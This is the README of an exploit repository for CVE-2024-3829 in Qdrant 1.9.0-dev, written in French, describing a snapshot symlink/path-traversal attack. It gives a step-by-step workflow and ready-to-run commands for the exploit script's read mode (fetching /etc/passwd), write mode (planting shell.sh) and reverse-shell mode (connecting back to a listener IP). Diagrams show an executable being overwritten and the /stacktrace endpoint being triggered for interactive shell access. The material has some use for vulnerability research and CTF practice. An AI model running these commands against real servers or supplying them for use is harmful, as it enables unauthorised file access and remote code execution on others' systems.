CVE-2024-3829 pour Qdrant - Exploit

 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################  
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______   
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |  
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |  
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |  
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |  
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |  
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|  
  
 ############################################### by fabse-hack.de ###############################################  

Ce dépôt documente et démontre CVE-2024-3829 pour qdrant/qdrant (v1.9.0-dev)

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3829
• Plus d'informations et l'idée de ce dépôt :
• Huntr: https://huntr.com/bounties/abd9c906-75ee-4d84-b76d-ce1386401e08
• incibe: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-3584
• GitHub: https://github.com/qdrant/qdrant/commit/15479a45ffa3b955485ae516696f7e933a8cce8a

Soutien & Dons

Paypal:

Offrez-moi un café :

Aperçu

La vulnérabilité permet la manipulation d'archives de snapshots via des astuces de symlink/chemin. Cela permet deux classes d'impact et un reverse shell hahhaa :

1. Lecture de fichier
2. Écriture de fichier
3. Exécution d'un reverse shell

Selon l'environnement, les primitives d'écriture de fichier peuvent mener à une exécution de code.

Logiciel affecté (voir le lien NVD)

• Produit : Qdrant
• Version : 1.9.0-dev
• Composant : Import/Export de snapshots

Note sur le numéro de version :

Cette version n'est plus disponible sur le World Wide Web (certaines personnes l'appellent « Internet »).
Dans le dépôt de qdrant, le rapport NVD Nist a pointé vers le commit, qui est la version vulnérable v1.9.0-dev.
Si vous souhaitez installer cette version pour un CTF / autres choses sur un docker, utilisez :

git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln

Flux de travail (simplifié)

1. Créer une collection
2. Générer un snapshot
3. Décompresser et modifier le snapshot localement
4. Injecter un symlink dans l'archive cible de lecture/écriture
5. Télécharger le snapshot modifié
6. Déclencher la restauration du snapshot
7. Évaluer le résultat lire le contenu du fichier / écrire un fichier / exécuter un reverse shell

Contenu du dépôt

• cve_2024_3829.py - Exploit pour le workflow lecture/écriture/déclenchement
• requirements.txt - Dépendances Python

Prérequis

• Système Kali Linux recommandé
• Python 3.10+
• Serveur Qdrant en cours d'exécution pour les tests locaux
• Paquet Python requests

Installation :

python3 -m pip install -r requirements.txt

Utilisation

Afficher toutes les options :

python3 cve_2024_3829.py -h

Exemples :

# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd

# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh

# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>

Paramètres disponibles

• -h, --help : afficher l'aide CLI
• -m, --mode : l'un de read, write, reverse_shell (obligatoire)
  paramètres cible :
• -tu, --target_url : URL de base Qdrant (par défaut dans le script)
• -tp, --target_port : port cible Qdrant (par défaut : 6333)
• -tpath, --target_path : chemin cible distant (par défaut : /etc/)

Remarques

• --target_url doit être l'URL de base sans le port de fin si vous passez --target_port séparément, car le script construit les URLs comme <url>:<target_port>/....
• En mode read, le script combine --target_path et --target_file_name (par exemple /etc/ + passwd).
• En mode write, --attacker_path doit pointer vers un fichier local existant et --attacker_file_name définit le nom du fichier distant.
• Pour les tests réseau à travers les frontières Docker/WSL/hôte, vérifiez d'abord l'accessibilité (par exemple avec netcat) avant d'exécuter le mode déclenchement.

sequenceDiagram
    participant Attacker
    participant Exploit
    participant Target
    participant Listener

    Attacker->>Exploit: Start exploit script
    Exploit->>Listener: Start TCP listener
    Exploit->>Target: Create malicious collection
    Exploit->>Target: Upload trigger script
    Exploit->>Target: Overwrite executable
    Exploit->>Target: Call /stacktrace endpoint
    Target->>Listener: Reverse shell connection
    Listener->>Attacker: Interactive shell access

flowchart TD
    Start[Start Listener]
    Bind[Bind to attacker port]
    Listen[Wait for connection]
    Accept[Accept incoming connection]
    Interactive[Interactive shell session]
    End[Connection closed]

    Start --> Bind
    Bind --> Listen
    Listen --> Accept
    Accept --> Interactive
    Interactive --> End